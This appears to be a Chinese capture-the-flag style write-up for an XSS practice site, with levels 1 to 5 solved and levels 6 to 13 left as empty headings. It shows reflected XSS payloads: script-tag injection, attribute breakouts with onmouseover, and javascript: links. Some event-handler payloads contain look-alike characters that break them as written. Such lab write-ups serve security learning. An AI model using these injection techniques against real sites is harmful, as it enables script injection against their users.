XSS平台 XSS挑战之旅 解题记录 writeup

XSS平台 XSS挑战之旅 解题记录 writeup

    • level1
    • level2
    • level3
    • level4
    • level5
    • level6
    • level7
    • level8
    • level9
    • level10
    • level11
    • level12
    • level13

XSS平台 XSS挑战之旅 解题记录 writeup_第1张图片
XSS挑战之旅是一个练习简单XSS脚本注入的平台,通过检测弹窗判断用户是否通关。
但前几关存在bug,只要在网页源码图片链接处插入JavaScript代码即可产生弹窗,达到通关的目的。
:Google Chrome存在过滤弹窗,用Firefox浏览器。

<center><img src="level.png"></center>   //源码
<center><img src=x onerror=alert(1)></center>   //将其修改为这样即可bug通关

详尽的XSS跨站脚本攻击请看:XSS跨站脚本攻击原理与常见的脚本及《XSS跨站脚本攻击剖析与防御》摘录总结

level1

XSS平台 XSS挑战之旅 解题记录 writeup_第2张图片
页面中没有输入点,但发现通过地址栏传入的参数‘name=test’会回显在页面,

http://test.xss.tv/level1.php?name=test

尝试通过在URL中构造payload完成XSS攻击:

http://test.xss.tv/level1.php?name=<script>alert(1);</script>

触发弹窗,完成的不错!通关。

level2

XSS平台 XSS挑战之旅 解题记录 writeup_第3张图片
页面存在输入框,搜索的数据在页面有回显,在搜索框构造payload并提交:

<script>alert(1);</script>

返回的页面并没有触发弹窗,查看网页源代码:

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1);&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="">

发现在

标签中,‘<>’符号被转译,但在标签中‘value’的值完整显示了输入的payload,尝试闭合value的值,在输入框重新构造xss注入代码:

"><script>alert(1);</script>
//提交后源码变为:
<input name=keyword  value=""><script>alert(1);</script>">

触发弹窗,完成的不错!通关。

level3

XSS平台 XSS挑战之旅 解题记录 writeup_第4张图片
页面存在输入框,搜索的数据在页面有回显,在搜索框构造payload并提交:

<script>alert(1);</script>

返回的页面并没有触发弹窗,查看网页源代码:

<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1);&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='<script>alert(1);</script>'>

发现在

标签中,‘<>’符号均被转译,尝试搜索“<"/()’>”,在网页源代码查看符号被转译的情况,发现‘<">‘被编码

<h2 align=center>没有找到和&lt;&quot;/()'&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='<"/()'&gt;'>

尝试闭合‘value’的值,通过事件触发弹窗,在输入框构造新的payload:

' οnmοuseοver='alert(1)
//提交后源码变为:
<input name=keyword  value='' onmouseover='alert(1)'>

鼠标移到输入框便触发事件产生弹窗,完成的不错!通关。

level4

XSS平台 XSS挑战之旅 解题记录 writeup_第5张图片
页面存在输入框,搜索的数据在页面有回显,尝试搜索“<"/()’>”,在网页源代码中查看符号被转译的情况,

<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;&quot;/()'&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value=""/()'">

发现在

标签中,‘<">’被编码,标签里‘value’中的’<>'被替换为空白,尝试闭合‘value’的值,通过事件触发弹窗,在输入框构造新的payload:

" οnmοuseοver="alert(1)
//提交后源码变为:
<input name=keyword  value="" onmouseover="alert(1)">

鼠标移到输入框便触发事件产生弹窗,完成的不错!通关。

level5

XSS平台 XSS挑战之旅 解题记录 writeup_第6张图片
页面存在输入框,搜索的数据在页面有回显,尝试搜索“<"/()’>”,在网页源代码中查看符号被转译的情况,

<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;&quot;/()'&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<"/()'>">

搜索"onmouseover"和’’,在网页源代码中查看符号被转译的情况,

<input name=keyword  value="o_nmouseover">
<input name=keyword  value="alert(1);">

发现在

标签中,‘<">’被编码,标签里‘value’中的‘onmouseover’被替换为‘o_nmouseover’,'script’被替换为scr_ipt,尝试闭合‘value’的值,通过标签中的引用属性,在输入框构造新的payload:

">:alert(1);">aaa</a>
//提交后源码变为:
<input name=keyword  value=""><a href="javascript:alert(1);">aaa</a>">

aaa
通过点击aaa链接,触发javascript脚本引用属性产生弹窗,完成的不错!通关。

level6

level7

level8

level9

level10

level11

level12

level13

你可能感兴趣的:(靶场搭建与使用)